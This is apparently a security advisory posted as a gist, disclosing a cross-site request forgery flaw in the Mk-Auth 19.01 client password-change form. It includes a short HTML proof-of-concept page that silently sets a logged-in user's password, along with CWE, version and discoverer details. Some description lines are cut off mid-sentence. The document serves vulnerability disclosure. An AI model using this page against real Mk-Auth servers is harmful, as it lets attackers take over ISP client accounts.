alacerda / **mkauth_19.01_csrf_change_password**

Created 2 years ago

Mk-Auth CSRF in Clients Change Password Form

mkauth_19.01_csrf_change_password

```
Mk-Auth CSRF in Clients Change Password Form

Product Description:
Mk-Auth is a Brazilian Management System for Internet Service Providers used to control client access and permissions via a web interface p
Vulnerability Description:
It is possible to change a user’s password by enticing a logged user to access a malicious webpage.
Additional Information:
A malicious actor may craft a web page that, when a user that is authenticated on Mk-Auth (on “central” module), access the page, the user’
PoC:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://mkserver/central/executar_central.php?acao=altsenha_princ" method="POST">
      <input type="hidden" name="senha" value="123qwe" />
      <input type="hidden" name="senha2" value="123qwe" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Vulnerability Type:
CWE-352: Cross-Site Request Forgery (CSRF)
Vendor:
Mk-Auth
Affected Product:
MK-Auth 19.01 :: K4.9
Probably previous are also affected
Affected Component:
Central: Dados: Trocar Senha
Attack Vector:
Remote
Code Execution:
No
Attack Vector:
An authenticated user must access a malicious web page.
Reference:
        http://mk-auth.com.br/
Discoverer:
Alan Lacerda (alacerda) | alacerda[at]intruderlabs.com.br
Filipe Cordeiro (sknux) | c_sfilipe[at]outlook.com

```